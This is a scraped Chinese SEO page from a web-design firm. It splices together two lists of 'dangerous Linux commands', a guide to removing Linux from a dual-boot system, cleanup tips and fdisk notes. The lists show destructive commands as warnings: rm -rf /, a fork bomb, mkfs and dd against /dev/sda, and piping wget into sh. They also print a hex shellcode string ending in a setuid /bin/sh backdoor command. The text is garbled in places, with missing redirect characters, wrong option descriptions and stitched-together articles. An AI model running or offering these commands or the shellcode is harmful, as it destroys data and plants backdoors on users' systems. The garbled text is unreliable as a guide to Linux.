這9個(gè)“非常危險(xiǎn)”的Linux命令一定要記住!
10年的昌江黎族網(wǎng)站建設(shè)經(jīng)驗(yàn),針對(duì)設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對(duì)一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。營(yíng)銷型網(wǎng)站建設(shè)的優(yōu)勢(shì)是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整昌江黎族建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。創(chuàng)新互聯(lián)公司從事“昌江黎族網(wǎng)站設(shè)計(jì)”,“昌江黎族網(wǎng)站推廣”以來,每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。
1、rm-rf命令
rm-rf命令是刪除文件夾及其內(nèi)容最快的一種方式,僅僅一丁點(diǎn)的敲錯(cuò)或者無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經(jīng)過詢問直接刪除只讀文件
rm-rf/:強(qiáng)制刪除根目錄下所有東西
rm-rf/*:強(qiáng)制刪除當(dāng)前目錄的所有文件
rm-rf.:強(qiáng)制刪除當(dāng)前文件夾及其子文件
溫馨提示:當(dāng)你要執(zhí)行rm -rf命令時(shí),一定要留心,可以在“.bashrc”文件對(duì)“rm”命令創(chuàng)建rm
-i的別名,來預(yù)防用‘rm’命令刪除文件時(shí)的事故。
2、:(){:|:};:命令
這就是一個(gè)fork炸彈的實(shí)例。具體操作是通過定義一個(gè)名為':'的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
3、命令 /dev/sda
上列命令會(huì)將某個(gè)'命令'的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4、mv文件夾/dev/null
這個(gè)命令會(huì)移動(dòng)某個(gè)'文件夾'到/dev/null。在Linux中/dev/null或null設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。
5、wget -O- | sh
上面這個(gè)命令會(huì)從一個(gè)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)執(zhí)行下載下來的腳本。
溫馨提示:你應(yīng)該時(shí)刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會(huì)格式化設(shè)備'sda',你無疑知道在執(zhí)行上列命令后你的塊設(shè)備會(huì)被格式化,嶄新的。沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。
7、 file
上面命令常用來清空文件內(nèi)容,如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似“ xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個(gè)命令用來編輯先前運(yùn)行的命令而無需要打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個(gè)命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然,你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。
Linux中最危險(xiǎn)的10個(gè)命令
對(duì)于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時(shí)候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時(shí)候。下面我就為大家盤點(diǎn)最危險(xiǎn)是10個(gè)命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯(cuò)或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個(gè)人認(rèn)為此處應(yīng)該是說錯(cuò)了,從常識(shí)看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個(gè)參數(shù) 只是表示不必一個(gè)個(gè)刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會(huì)將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個(gè)提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時(shí)請(qǐng)留心一點(diǎn)。我們可以在“.bashrc”文件對(duì)‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時(shí)的事故,它會(huì)要求你確認(rèn)每一個(gè)刪除請(qǐng)求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請(qǐng)這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個(gè)fork 炸彈的實(shí)例。具體操作是通過定義一個(gè)名為 ‘:‘的函數(shù),它會(huì)調(diào)用自己兩次,一次在前臺(tái)另一次運(yùn)行在后臺(tái)。它會(huì)反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會(huì)將某個(gè)‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會(huì)將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個(gè)塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個(gè)命令會(huì)移動(dòng)某個(gè)‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個(gè)特殊的文件,所有寫入它的數(shù)據(jù)都會(huì)被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動(dòng)到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會(huì)將User目錄所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會(huì)從一個(gè)(也許是)惡意源下載一個(gè)腳本并執(zhí)行。Wget命令會(huì)下載這個(gè)腳本,而sh會(huì)(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時(shí)刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動(dòng)器)會(huì)被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會(huì)直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對(duì)塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會(huì)被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請(qǐng)?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個(gè)文件。)。如果用上列執(zhí)行時(shí)輸入錯(cuò)誤或無知的輸入類似 “xt.conf” 的命令會(huì)覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個(gè)命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過,用來編輯先前運(yùn)行的命令而無需重打整個(gè)命令。但當(dāng)用foobar命令時(shí)如果你沒有徹底檢查改變?cè)济畹娘L(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時(shí)代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會(huì)向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個(gè)命令就是給了你一個(gè)徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個(gè)命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個(gè)無知的用戶可能就會(huì)被愚弄。在終端里運(yùn)行下面命令可能會(huì)擦除你的根分區(qū)。
這個(gè)命令表明通常真正的危險(xiǎn)是隱藏的,不會(huì)被輕易的檢測(cè)到。你必須時(shí)刻留心你在做什么結(jié)果會(huì)怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個(gè)命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測(cè)試它們,請(qǐng)?jiān)谔摂M機(jī)上運(yùn)行。
;
有網(wǎng)友咨詢我“我的服務(wù)器是linux系統(tǒng),我不知道弄那了,現(xiàn)在 不能啟動(dòng) 了,我想把這個(gè)系統(tǒng)刪了,請(qǐng)問怎么刪啊”那么怎么刪除linux 操作系統(tǒng) 呢?接下來大家跟著我一起來了解一下刪除linux操作系統(tǒng)的解決 方法 吧。
刪除linux操作系統(tǒng)方法
如果你想將Linux從機(jī)器中刪除,只保留Windows,你需要進(jìn)行以下幾步操作:
從開始菜單(或開始屏幕)找到“Disk Management”(磁盤管理工具)并啟動(dòng).
找到Linux分區(qū)。在Windows下無法識(shí)別Linux分區(qū),所以,你需要按照驅(qū)動(dòng)器和分區(qū)大小去判斷,確認(rèn)好以后繼續(xù)下面的步驟。
右鍵選好的分區(qū),然后選擇“刪除卷”,這將會(huì)把分區(qū)刪除成自由空間,如果你再選擇自由空間,選擇刪除卷,就會(huì)變成未分配空間。
在Windows分區(qū)上右鍵,選擇“擴(kuò)展卷”,擴(kuò)展它以填補(bǔ)刪除Linux所留下的自由空間。
最后,插入Windows恢復(fù)光盤(或恢復(fù)USB驅(qū)動(dòng)器),并從它啟動(dòng)。選擇“修復(fù)計(jì)算機(jī)”,去“疑難解答”,然后輸入一個(gè)命令提示符。鍵入以下命令
bootrec.exe /fixmbr
這將刪除Linux的bootloader和恢復(fù)Windows'。
重新啟動(dòng)你的電腦,你會(huì)發(fā)現(xiàn),它直接引導(dǎo)進(jìn)入Windows,不會(huì)有Linux分區(qū)。
如果你設(shè)置了雙啟動(dòng)不同或把一個(gè)單獨(dú)的硬盤驅(qū)動(dòng)器上的Linux,又或者有其他的操作系統(tǒng)在驅(qū)動(dòng)器上的,操作方式可能會(huì)略有不同。但對(duì)于大多數(shù)人來說,這些指令就足夠了。
linux操作系統(tǒng)怎樣清除垃圾
tmp目錄下是用戶的臨時(shí)文件,可將不需要的直接用rm命令刪除。 另外,也可以使用以下方法對(duì)linux系統(tǒng)進(jìn)行清理。1)清理升級(jí)緩存以及無用包;sudo apt-get autocleansudo apt-get cleansudo apt-get autoremove
2)清理opera/firefox緩存文件;ls ~/.opera/cache4|xargs rm -fls ~/.mozilla/firefox/*.default/Cache|xargs rm -f
3)清理Linux下孤立的包;圖形界面下我們可以用:gtkorphansudo apt-get install gtkorphan -y終端命令下我們可以用:deborphansudo apt-get install deborphan -y
4)刪除多余的內(nèi)核;打開終端敲命令:dpkg --get-selections|grep linux有image的就是內(nèi)核文件;刪除老的內(nèi)核文件:sudo apt-get remove 內(nèi)核文件名 (例如:linux-image-2.6.27-2-generic)內(nèi)核刪除,釋放空間了,應(yīng)該能釋放130-140M空間。最后看看當(dāng)前內(nèi)核:uname -a
5)清空某個(gè)目錄下所有l(wèi)og日志;for i in `ls *.log*`docat /dev/null $idone
附錄:臨時(shí)文件目錄:/var/cache/apt/archives未下載完目錄:/var/cache/apt/archives/partial
/dev/null文件是一個(gè)特殊的設(shè)備文件,可以用于清空一些日志文件,或者是使一些信息輸出到此文件,用以節(jié)省硬盤空間,俗稱黑洞。
如果該空文件/dev/null文件被誤刪除掉, 是會(huì)導(dǎo)致系統(tǒng)存在問題,無法登錄等情況,如何再使用系統(tǒng)命令重新創(chuàng)建并設(shè)置該文件?
可以使用下面的命令重新創(chuàng)建/dev/null文件
之后再使用下面的命令將/dev/null文件設(shè)置為正確的權(quán)限
上面的設(shè)置完成后,可以使用下面的命令檢查/dev/null文件的設(shè)置如下
1、linux刪除命令行按哪個(gè)鍵。
2、Linux刪除命令。
3、linux刪除命令rm -rf。
4、linux刪除命令操作。
1."linux刪除命令,為您提供linux刪除命令圖文信息,linux刪除命令一共有以下幾種:常規(guī)刪除a.txt文件:[root]#rma.txt。
2.強(qiáng)行刪除file.log文件:[root]#rm-ffile.log。
3.刪除dirname目錄下的所有東西:[root]#rm-Rdirdirname。
以RH9為例,上面有只有兩個(gè)分區(qū)
/dev/sda1
和/dev/sda2
#fdisk
/dev/sda
(注意sda后不要加數(shù)字)
command(m
for
help):
m
輸入m后,就會(huì)看到很多命令
command(m
for
help):
p
輸出當(dāng)前磁盤的狀態(tài)
command(m
for
help):
q
想要不存儲(chǔ)離開嗎?按下q,請(qǐng)不要隨便按w
新增分區(qū):#fdisk
/dev/sda
command(m
for
help):
n
此時(shí)系統(tǒng)會(huì)提示新增P(主分區(qū))還是E(擴(kuò)展分區(qū)),系統(tǒng)一般是(4個(gè)P)+E,而且E分區(qū)號(hào)必須從5開始
p
這里自行決定是P還是E
Partition
number(1-4):3
編號(hào)可以隨意
First
cylinder:
這里按下ENTER就行了
Last
cylinder
or
..............:
+100M
再輸入P的時(shí)候就能看到新增的分區(qū)了
刪除分區(qū):
#fdisk
/dev/sda
command(m
for
help):
d
選擇分區(qū)號(hào)
記住q---不存儲(chǔ)離開
w---存儲(chǔ)離開
附上容易混淆的兩個(gè)命令:
df(disk
free)---顯示磁盤的文件系統(tǒng)與使用情形
du(disk
usage)---顯示指定的目錄或文件所占用的磁盤空間
標(biāo)題名稱:linux命令刪除dev,Linux命令刪除目錄
當(dāng)前路徑:http://chinadenli.net/article32/heecsc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站建設(shè)、軟件開發(fā)、品牌網(wǎng)站設(shè)計(jì)、品牌網(wǎng)站制作、ChatGPT、用戶體驗(yàn)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)